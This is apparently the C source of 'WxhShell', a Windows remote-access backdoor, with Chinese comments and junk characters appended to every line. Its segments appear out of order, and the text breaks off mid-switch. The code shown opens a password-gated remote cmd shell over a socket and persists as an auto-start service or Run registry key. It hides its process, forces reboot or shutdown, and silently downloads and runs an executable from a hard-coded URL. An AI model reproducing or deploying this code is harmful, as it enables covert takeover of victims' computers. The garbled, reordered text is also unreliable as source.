    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7s4G|N[wR\  
    else { ?rKewdGY  
    closesocket(wsh); ,j:`yB]4,  
    ExitThread(0); 0/6f9A  
    } }:])1!a  
    break; "@ xI  
    } K63OjR >H  
  // 获取shell &u&/t?  
  case 's': { c/jU+,_g  
    CmdShell(wsh); "iMuA  
    closesocket(wsh); [o<Rgq 4  
    ExitThread(0); dzjp,c@  
    break; \'xF\V  
  } /vYuwaWG=  
  // 退出 Tv_KdOv8  
  case 'x': { \xlelsmB*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XT9]+b8(M  
    CloseIt(wsh); Sp]"Xr)  
    break; 5V':3o;D__  
    } <~X4&E]rT_  
  // 离开 ,6=j'j1#a  
  case 'q': { M2W4 RovfR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9{RCh 9  
    closesocket(wsh); _ho9}7 >  
    WSACleanup(); :XC~G&HuF6  
    exit(1); 9. 6"C<eYt  
    break; p[2`H$A  
        } F0qpJM,  
  } y'(( tBWa!  
  } ;.Zgt8/.  
"oz : & #+  
  // 提示信息 T`mG+"O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +DmfqKKbd  
} 6!sC  
  } 5Tag-+  
0ft81RK  
  return; mEeD[dMN  
} 3k(A&]~v  
y-6k<RN  
// shell模块句柄 *'H0%GM  
int CmdShell(SOCKET sock) &b'IYoe  
{ J~Uq'1?  
STARTUPINFO si;  Sg  
ZeroMemory(&si,sizeof(si)); : E[\1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BCMQ^hP}t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BpBMFEiP  
PROCESS_INFORMATION ProcessInfo; ~_6~Fi  
char cmdline[]="cmd"; cc- liY "  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f^Sl(^f  
  return 0; ~Ap.#VIc'  
} \5M1;  
Q =9Ce@[  
// 自身启动模式 @`xR1pXQ  
int StartFromService(void) 6|:K1bI)  
{ #J~   
typedef struct h]T  
{ 0`UI^Y~Q  
  DWORD ExitStatus; 3V=wW{;x  
  DWORD PebBaseAddress; iga.B  
  DWORD AffinityMask; ;}1O\nngR  
  DWORD BasePriority; dD YD6  
  ULONG UniqueProcessId; W5cBT?V  
  ULONG InheritedFromUniqueProcessId; ^%ZbjJ7|j  
}   PROCESS_BASIC_INFORMATION; q>|&u  
"QSmxr  
PROCNTQSIP NtQueryInformationProcess; " b3-'/ &  
qQjd@J}^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $0 ]xeD0X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8uAA6h+  
=Ot|d #_  
  HANDLE             hProcess; =D;n#n7  
  PROCESS_BASIC_INFORMATION pbi; +*uaB  
9U&~H*Hf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 42$ pvw<  
  if(NULL == hInst ) return 0; 8k +^jj  
|ht:_l 8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {$qE>ic  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M/?eDW/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &~=FX e0S  
_cvA1Q"  
  if (!NtQueryInformationProcess) return 0; sbv2*fno5  
w3Lr~_j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {,aX|*1Ku~  
  if(!hProcess) return 0; =$mPReA3v  
EDAtC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Op()`x m  
g'cLc5\  
  CloseHandle(hProcess); q7z`oK5  
1 A%0y)]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lT^/ 8Z<g  
if(hProcess==NULL) return 0; -.xiq0  
Mc,3j~i  
HMODULE hMod; 6 &Lr/J76  
char procName[255]; Ef @  
unsigned long cbNeeded; r)S:-wP  
0:I[;Q t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PH.g+u=v  
H^ 'As;R  
  CloseHandle(hProcess); n)|{tb^  
V82HO{ D  
if(strstr(procName,"services")) return 1; // 以服务启动 8;Zz25*  
hKnAWKb0  
  return 0; // 注册表启动 x" lcE@(  
} y>^FKN/  
8Sxk[`qx\K  
// 主模块 bT7+$^NHf  
int StartWxhshell(LPSTR lpCmdLine) 36e  
{ ; DXsPpZC  
  SOCKET wsl; ^'\JI  
BOOL val=TRUE; "UX/yLc3(  
  int port=0; <*Nd%Ca  
  struct sockaddr_in door; R_^0Un([  
/|0xOiib  
  if(wscfg.ws_autoins) Install(); Z_U4Yy'NNw  
+Tt.5>N  
port=atoi(lpCmdLine); mq}V @H5  
n g%~mt  
if(port<=0) port=wscfg.ws_port; ui RO,B}z  
.8wf {y  
  WSADATA data; ZJe^MnE (G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `=V p 0tPI  
EDT9O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z~"Q_gme  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5G2G<[p5oQ  
  door.sin_family = AF_INET; j*\oK@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?lE&o w  
  door.sin_port = htons(port); Nj;5iy  
 WD55(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /:tzSKq}  
closesocket(wsl); fUMjLA|*I<  
return 1; }W)b  
} f$76p!pDa  
Vy=P*  
  if(listen(wsl,2) == INVALID_SOCKET) { 3n,jrX75u  
closesocket(wsl); cO$xT;kK  
return 1; |k$6"dXSO  
} P!Brw72  
  Wxhshell(wsl); )SZzA'  
  WSACleanup(); QLH!>9Ch  
!RP0W  
return 0; en>n\;U  
> ^=n|%  
} ~R&rQJJeJ  
q68CU~i*  
// 以NT服务方式启动 JC0#pU;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {]bmecz  
{ Y'{}L@"t  
DWORD   status = 0; -Uan.#~S  
  DWORD   specificError = 0xfffffff;  !2kM  
%QG3~b% h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fMIRr5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +BeA4d8b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -T}r$A  
  serviceStatus.dwWin32ExitCode     = 0; 15@2h  
  serviceStatus.dwServiceSpecificExitCode = 0; r+8)<Xt+p  
  serviceStatus.dwCheckPoint       = 0; yAAV,?:o[  
  serviceStatus.dwWaitHint       = 0; #+QJ5VI :  
uI$n7\G!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~!S/{Un   
  if (hServiceStatusHandle==0) return; Llkh kq_  
IQ$!y,VJ  
status = GetLastError(); c2t`i  
  if (status!=NO_ERROR) wFF,rUV  
{ 3?K+wg s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6cd!;Ca  
    serviceStatus.dwCheckPoint       = 0; ftvu69f  
    serviceStatus.dwWaitHint       = 0; zMRa <G7  
    serviceStatus.dwWin32ExitCode     = status; N5{v;~Cm}V  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2Z(t/Zp>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X-tw)  
    return; veuX />!  
  } Ni8%K6]z  
[;yKbw!C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _CPj] m{  
  serviceStatus.dwCheckPoint       = 0; [O<F`u"a  
  serviceStatus.dwWaitHint       = 0; oP`:NCj\9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <THw l/a  
} 6fo\ z2  
@  R[K8  
// 处理NT服务事件,比如:启动、停止 `*cqT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j85B{Mab&  
{ m 62Zta  
switch(fdwControl) w[F})u]E  
{ v-N4&9)%9  
case SERVICE_CONTROL_STOP: O}%E SAB  
  serviceStatus.dwWin32ExitCode = 0; !ui t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JNY?] |=  
  serviceStatus.dwCheckPoint   = 0; 8o[gzW:Q)U  
  serviceStatus.dwWaitHint     = 0; "n]x%. *  
  { l9C `:g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ :)F-  
  } CuK>1_Dq  
  return; T_!F I29  
case SERVICE_CONTROL_PAUSE: cHt4L]n8n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Oe x   
  break; ]h~F%   
case SERVICE_CONTROL_CONTINUE: i9Beap/t$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0J^Z)U>j  
  break; H#7=s{u  
case SERVICE_CONTROL_INTERROGATE: *Lxt{z`9  
  break; c0Bqm  
}; W**[:n+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *+zFsu4l  
} w,X)g{^T  
SHs [te[  
// 标准应用程序主函数 T*mR9 8i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m_Pk$Vwx  
{ VQ,5&-9Y3  
qtdkK LT  
// 获取操作系统版本 )^BZ,e  
OsIsNt=GetOsVer(); [<5/s$,i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yZ 7)|j  
Vpp$yM&?  
  // 从命令行安装 .rG~\Ws  
  if(strpbrk(lpCmdLine,"iI")) Install(); w_o+;B|I  
bl&9O  
  // 下载执行文件 hxj\  
if(wscfg.ws_downexe) { 45n.%*,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )5n0P Zi  
  WinExec(wscfg.ws_filenam,SW_HIDE); :!l.ze{F  
} }cI-]|)|2  
vs$h&o>|  
if(!OsIsNt) { qLN\>Z,3;  
// 如果时win9x,隐藏进程并且设置为注册表启动 R<gAxO%8  
HideProc(); y9?*H?f,  
StartWxhshell(lpCmdLine); Go1xyd:k  
} ;zze.kb&F  
else 2q]ZI  
  if(StartFromService()) %TRJ  
  // 以服务方式启动 C$ K?4$  
  StartServiceCtrlDispatcher(DispatchTable); J~xm[^0  
else `q\F C[W  
  // 普通方式启动 mi$C%~]5m  
  StartWxhshell(lpCmdLine); A4|7^Ay  
kP}l"CN4  
return 0; VRgckh m  
} 0 LXu!iix  
(SQGl!Lai0  
~CHcbEWk)W  
|EdEV*.ej  
=========================================== n:B){'S  
%z.V$2  
<m^a ?q^  
*1!'ZfT;  
w)* H&8h@  
=BN<)f^*s  
" 7[='m{{=C  
}5n\us  
#include <stdio.h> ^V1\boo=  
#include <string.h> g]JRAM  
#include <windows.h> Gh.?6kuh  
#include <winsock2.h> AcEz$wy  
#include <winsvc.h> Tc!n@!RA|  
#include <urlmon.h> *~4<CP+"0  
o/ 51 RH  
#pragma comment (lib, "Ws2_32.lib")  AV|:v3  
#pragma comment (lib, "urlmon.lib") {X2uFw Gi  
5D=U.UdR  
#define MAX_USER   100 // 最大客户端连接数 ]@cI_n  
#define BUF_SOCK   200 // sock buffer ZvQZD=,F  
#define KEY_BUFF   255 // 输入 buffer r_+!3   
|A,.mOT  
#define REBOOT     0   // 重启 Jw}&[  
#define SHUTDOWN   1   // 关机 fQ"Vx!  
0}`.Z03fy  
#define DEF_PORT   5000 // 监听端口 [ _ `yy  
!-n* ]C  
#define REG_LEN     16   // 注册表键长度 >);M\,1\I  
#define SVC_LEN     80   // NT服务名长度 sw}^@0ua=  
^i8biOSZu  
// 从dll定义API rN7JJHV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -K$ugDi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); & ^1 b]f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;qy;;usa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k<j]b^jbz  
:-U& _%#w  
// wxhshell配置信息 @:B}QxC  
struct WSCFG { Y@q9   
  int ws_port;         // 监听端口 Im-qGB0C  
  char ws_passstr[REG_LEN]; // 口令 Z_dL@\#|  
  int ws_autoins;       // 安装标记, 1=yes 0=no THX% z `  
  char ws_regname[REG_LEN]; // 注册表键名 op2Zf?Bx{+  
  char ws_svcname[REG_LEN]; // 服务名 -DJ ,<f*$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t~dK\>L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x!W5'DO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /&G|.Cx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ltU{P|7!E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +:jv )4^O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6Y6t.j0vN.  
Y1>OhHuN  
}; RTbV!I  
_*g.U=u  
// default Wxhshell configuration Z8/.I  
struct WSCFG wscfg={DEF_PORT, ^V9|uHOJoq  
    "xuhuanlingzhe", AB0}6g^O  
    1, ~.J*_0~Ze  
    "Wxhshell", 6vTnm4  
    "Wxhshell", gaNe\  
            "WxhShell Service", 8 "NPj0  
    "Wrsky Windows CmdShell Service", {/N8[?zML  
    "Please Input Your Password: ", uit.r^8l  
  1, 3?`TEw~'  
  "http://www.wrsky.com/wxhshell.exe", IY[qWs  
  "Wxhshell.exe" @*L-lx  
    }; i"Hc(lg  
3G 5xIr6   
// 消息定义模块 (RrC<5"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D+ .vg?8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5]CaWFSmT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3LJ\y  
char *msg_ws_ext="\n\rExit."; ?G7*^y&Q  
char *msg_ws_end="\n\rQuit."; Eb6cL`#N  
char *msg_ws_boot="\n\rReboot..."; &}C-W* f,Z  
char *msg_ws_poff="\n\rShutdown..."; $%ND5uK  
char *msg_ws_down="\n\rSave to "; vA Z kT"  
@].!}tz  
char *msg_ws_err="\n\rErr!"; \ kY:|T  
char *msg_ws_ok="\n\rOK!"; z{PPPFk4J  
*81/q8Az  
char ExeFile[MAX_PATH]; #PPHxh*S  
int nUser = 0; *wX[zO+o  
HANDLE handles[MAX_USER]; [AIqKyIr  
int OsIsNt; y=+OC1k\8  
w8 N1-D42  
SERVICE_STATUS       serviceStatus; Y`$\o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LfU? 1:Du  
qe?Ns+j<d  
// 函数声明 I`jG  
int Install(void); iqB%sIP  
int Uninstall(void); 2!CL8hG5:  
int DownloadFile(char *sURL, SOCKET wsh); $_eJ@L#  
int Boot(int flag); S= `$w  
void HideProc(void); GcA|JS=>  
int GetOsVer(void); 91yYR*  
int Wxhshell(SOCKET wsl); `HYj:4v'  
void TalkWithClient(void *cs); 2?:OsA}  
int CmdShell(SOCKET sock); |/8!P Km  
int StartFromService(void); MT)q?NcG  
int StartWxhshell(LPSTR lpCmdLine); ^ r(]S%  
Qi=0[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PA*k |  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?UIW&*h}  
Z 5P4 H  
// 数据结构和表定义 l= Jw6F+5  
SERVICE_TABLE_ENTRY DispatchTable[] = pV\> ?  
{ Z-_Xt^N  
{wscfg.ws_svcname, NTServiceMain}, .!lLj1?p  
{NULL, NULL} PBEi"`i  
}; aR@+Qf  
<-G3Qgm  
// 自我安装 S1~K.<B  
int Install(void) kz("LI]  
{ #4"eQ*.*"  
  char svExeFile[MAX_PATH]; r4X\/  
  HKEY key; SD8>,  
  strcpy(svExeFile,ExeFile); umAO&S.+M  
Ku uiU= (L  
// 如果是win9x系统,修改注册表设为自启动  xI#rnx*  
if(!OsIsNt) { p15dbr1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 w! 0$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *> Be w  
  RegCloseKey(key); PQYJn x}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WD[jEWMV7D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); luac  
  RegCloseKey(key); |f1^&97=+  
  return 0; ZWjje6  
    } s?k:X ~m  
  } SfrM|o  
} h -091N  
else { 8I#^qr5  
Y,,Z47% E  
// 如果是NT以上系统,安装为系统服务 O7.eq524  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d1t_o2  
if (schSCManager!=0) +7 j/.R  
{ 7(C)vtEO:  
  SC_HANDLE schService = CreateService KjF8T7%  
  ( Y$)y:.2#  
  schSCManager, aM#xy6:XG  
  wscfg.ws_svcname, JX&%5sn(  
  wscfg.ws_svcdisp, eAjR(\f>  
  SERVICE_ALL_ACCESS, 63$`KG3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lZ2g CZ  
  SERVICE_AUTO_START, 55] MRv  
  SERVICE_ERROR_NORMAL, u WdKG({][  
  svExeFile, cG@W o8+  
  NULL, kJNg>SN*@#  
  NULL, jeA2y jAC  
  NULL, C{G=Y[?oc  
  NULL, -{z[.v.p  
  NULL 'IVC!uL,%  
  ); 0@E I@X;q  
  if (schService!=0) SJ;{  Hg  
  { 'dzbeTJ D5  
  CloseServiceHandle(schService); \'('HFr,  
  CloseServiceHandle(schSCManager); ~d,$ nZ"z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tO1k2<Z"Y&  
  strcat(svExeFile,wscfg.ws_svcname); 4 CiRh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /!6 VP |  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^u0y<kItX  
  RegCloseKey(key); 42,dHYdt  
  return 0; u%1JdEWZd  
    } `jhbKgR[  
  } ~+Cl9:4T  
  CloseServiceHandle(schSCManager); Ic&YiATj  
} IeA/<'U s  
} Ro<5c_k  
L >hLYIW  
return 1; };Df ><  
} 7`)RB hGB  
3|)cT1ej  
// 自我卸载 \S?-[v*{  
int Uninstall(void) fT?m~W^  
{ > hGB o  
  HKEY key; ~]<VEji  
=1)9>=}  
if(!OsIsNt) { oz|+{b}%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }"%mP 4]&  
  RegDeleteValue(key,wscfg.ws_regname); < %<nh`D  
  RegCloseKey(key); ~% `hh9]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S?D]P'<  
  RegDeleteValue(key,wscfg.ws_regname); z 3Z8vq  
  RegCloseKey(key); E0!0 uSg&  
  return 0; V}Q`dEk2r  
  } #\_FSr fX  
} K9nW"0>  
} !Zc#E,  
else { B7[#z{8'#  
<RH%FhT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LUpkO  
if (schSCManager!=0) 4[%_Bnv#AJ  
{ LRS,bl3}/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .+u r+" i  
  if (schService!=0) 2'Kh>c2  
  { qM 3(OvCt  
  if(DeleteService(schService)!=0) { X_rv}  
  CloseServiceHandle(schService); eE\T,u5:  
  CloseServiceHandle(schSCManager); KMl3`+i  
  return 0; ]S@DVXH  
  } t)O]0) s  
  CloseServiceHandle(schService); 'b>3:&  
  } heb{i5el  
  CloseServiceHandle(schSCManager); j~9Y0jz_  
} _ KyhX|  
} KxFA@3  
p-!/p#  
return 1; )lUocm  
} @|OGxQoC  
! 8Ro5),  
// 从指定url下载文件 q 4Ok$~"I  
int DownloadFile(char *sURL, SOCKET wsh) "s`#` '  
{ *kj+6`:CPs  
  HRESULT hr; ew c:-2Y^  
char seps[]= "/"; oJE<}~_k  
char *token; N>sHT =_  
char *file; :Z83*SPc  
char myURL[MAX_PATH]; u2I@ fH/  
char myFILE[MAX_PATH]; a |]}uFr  
D&],.N  
strcpy(myURL,sURL); E=,fdyj.  
  token=strtok(myURL,seps); P/k#([:2  
  while(token!=NULL) G \$x.  
  { =4!m] *y  
    file=token; mWLiXKnb  
  token=strtok(NULL,seps); M3JV^{O/DV  
  } `bLJ wJ7  
e%9zY{ABR%  
GetCurrentDirectory(MAX_PATH,myFILE); G%}k_vi&q  
strcat(myFILE, "\\"); .+lx}#-#  
strcat(myFILE, file); tTt}=hQpgX  
  send(wsh,myFILE,strlen(myFILE),0); aHitPPlq  
send(wsh,"...",3,0); O[|X=ZwR:l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HA&hu /mw_  
  if(hr==S_OK) ]\ZmK0q<:  
return 0; ,,S 2>X*L  
else D_`~$QB`,  
return 1; 7o7FW=^  
RH$YM `cZ  
} .8[uEQ_L  
I-Hg6WtB  
// 系统电源模块 7Fzr\&  
int Boot(int flag) 6J -=6t|  
{ \t=#MzjR  
  HANDLE hToken; (d.M} G  
  TOKEN_PRIVILEGES tkp; >Wd_?NaI  
^7*zi_Q  
  if(OsIsNt) {  W}Rzn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !rZZ/M"i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /(%!txSNEt  
    tkp.PrivilegeCount = 1; CRNt5T>qH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C_h$$G{S(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '@^mesMG  
if(flag==REBOOT) { \r3SvBwhFv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) diKl}V#u  
  return 0; <:StZ{o;  
} * COC&  
else { .GCJA`0h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nH+wU;M  
  return 0; iBKH\em/  
} od&wfwk(  
  } dI%Nwl%  
  else { _.m|Ml,`{  
if(flag==REBOOT) { D'UIxc8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  |vBy=:  
  return 0; :"K9(XKKU  
} fzN?X=  
else { y (%y'xBP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |NWHZo  
  return 0; ' Yy+^iCus  
} <(45(6fQ  
} vI"BNC*Q1  
`j 4>  
return 1; ;2gO(  
} TCkMJs?  
p$Floubh]  
// win9x进程隐藏模块 +'[/eW  
void HideProc(void) F84<='K  
{ tU.~7f#+A  
.kfx\,lgm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fc^!="H  
  if ( hKernel != NULL ) ;):E 8;B)  
  { Xhpcu1nA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~L_1&q^4!i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aR)w~s\6  
    FreeLibrary(hKernel); wOEc~WOd  
  } i G%R'/*  
`2M*?.vk  
return; }:]CXrdg>  
} EO/41O  
YQR[0Y&e=  
// 获取操作系统版本 ]na$n[T/I  
int GetOsVer(void) NBw{  
{ py wc~dWvz  
  OSVERSIONINFO winfo; ?YF2Uc8z%2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z~;rp`P  
  GetVersionEx(&winfo); Ir Y\Q)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fY|[YPGO^  
  return 1; \ #la8,+9  
  else nJwP|P_  
  return 0; MG^YT%f  
} FA%V>&;`  
y#/P||PM  
// 客户端句柄模块 E<@N4%K_Q  
int Wxhshell(SOCKET wsl) -'^:+FU  
{ KppYe9?  
  SOCKET wsh; 2g5jGe*0  
  struct sockaddr_in client; /^WOrMR  
  DWORD myID; A~< cp)E  
z0|-OCmL  
  while(nUser<MAX_USER) 6$H`wDh#(&  
{ _Ec"[xW  
  int nSize=sizeof(client); {"|la;*I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _]L]_Bh  
  if(wsh==INVALID_SOCKET) return 1; ({cWb:+r  
D"IxQ2}k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )OK"H^}f  
if(handles[nUser]==0) h%sw^;\!  
  closesocket(wsh); 1aPFpo!  
else '#jZ`  
  nUser++; !Yz CK*av1  
  } Rt@O@oDI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eZ 7Atuv  
#9{2aRCJ  
  return 0; b&RsxW7  
} N7_(,Gu*R  
)&%Y{a#  
// 关闭 socket hd`jf97*  
void CloseIt(SOCKET wsh) k+hl6$:Qj%  
{ VeOM `jy  
closesocket(wsh); wU"w  
nUser--; /bLL!nD=^  
ExitThread(0); BQB<+o'  
}   Xi w  
Yaz/L)Y;R  
// 客户端请求句柄 U6YHq2<  
void TalkWithClient(void *cs) \$gA2r  
{ wZ=@0al  
8T Tj<T!N  
  SOCKET wsh=(SOCKET)cs; e2L>"/  
  char pwd[SVC_LEN]; `$3ktQ$  
  char cmd[KEY_BUFF]; 3r[ s_Y*  
char chr[1]; O,#,`2Qc  
int i,j; 8EBd`kiq  
[I7=]X  
  while (nUser < MAX_USER) { 0:c3aq&u  
gLK0L%"5  
if(wscfg.ws_passstr) { s}bLA>~Ta  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >'jkL5l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QvJ29  
  //ZeroMemory(pwd,KEY_BUFF); xE!b)@>S  
      i=0;  SWyJ`  
  while(i<SVC_LEN) { SH O&:2  
~(:0&w%e  
  // 设置超时 D Q c pIV  
  fd_set FdRead; N1" bH~  
  struct timeval TimeOut; /[n]t  
  FD_ZERO(&FdRead); FU;a { irB  
  FD_SET(wsh,&FdRead); "Jdi>{o8  
  TimeOut.tv_sec=8; 8/;@4^Ux  
  TimeOut.tv_usec=0; }rF4M1+B\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TV`sqKW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G"".;}AV  
Fl}!3k>c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t3=K>Y@w  
  pwd=chr[0]; Bm<tCN-4  
  if(chr[0]==0xd || chr[0]==0xa) { q_[`PYT  
  pwd=0; s +E4AG1r  
  break; {Z178sik  
  } d<E2=WVB6  
  i++; U~dqxR"Q  
    } WC b 5  
4JXJ0T ar  
  // 如果是非法用户,关闭 socket z 0F55<i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nswhYSX  
} Bj\Us$cZ  
-#R63f&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2-@t,T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Zn&Nc7  
:)FNhx3  
while(1) { :z6?  
+]0hSpZ"p  
  ZeroMemory(cmd,KEY_BUFF); }9FWtXAU^1  
L@f&71  
      // 自动支持客户端 telnet标准   ] v:"    
  j=0; _Ih"*~ r/&  
  while(j<KEY_BUFF) { `'gcF });  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &%eM  
  cmd[j]=chr[0]; '2rSX[$ tf  
  if(chr[0]==0xa || chr[0]==0xd) { uA cvUN-@  
  cmd[j]=0; 9E|QPT  
  break; wB+F/]]|N  
  } 3} C-Hg+gt  
  j++; bL{D*\HF  
    } %Z8pPH~T  
a)7&2J  
  // 下载文件 muKu@nshL  
  if(strstr(cmd,"http://")) { p4kK" \ln  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Q,<h8N\5  
  if(DownloadFile(cmd,wsh)) u#Bj#y!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]I]G3 e  
  else CZ%KC$l.5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /;xrd\du  
  } _ozg=n2(  
  else { 1&Ma`M('  
SzFh  
    switch(cmd[0]) { #MbY+[Y@v  
  #jO2Zu2`}  
  // 帮助 iTF%}(  
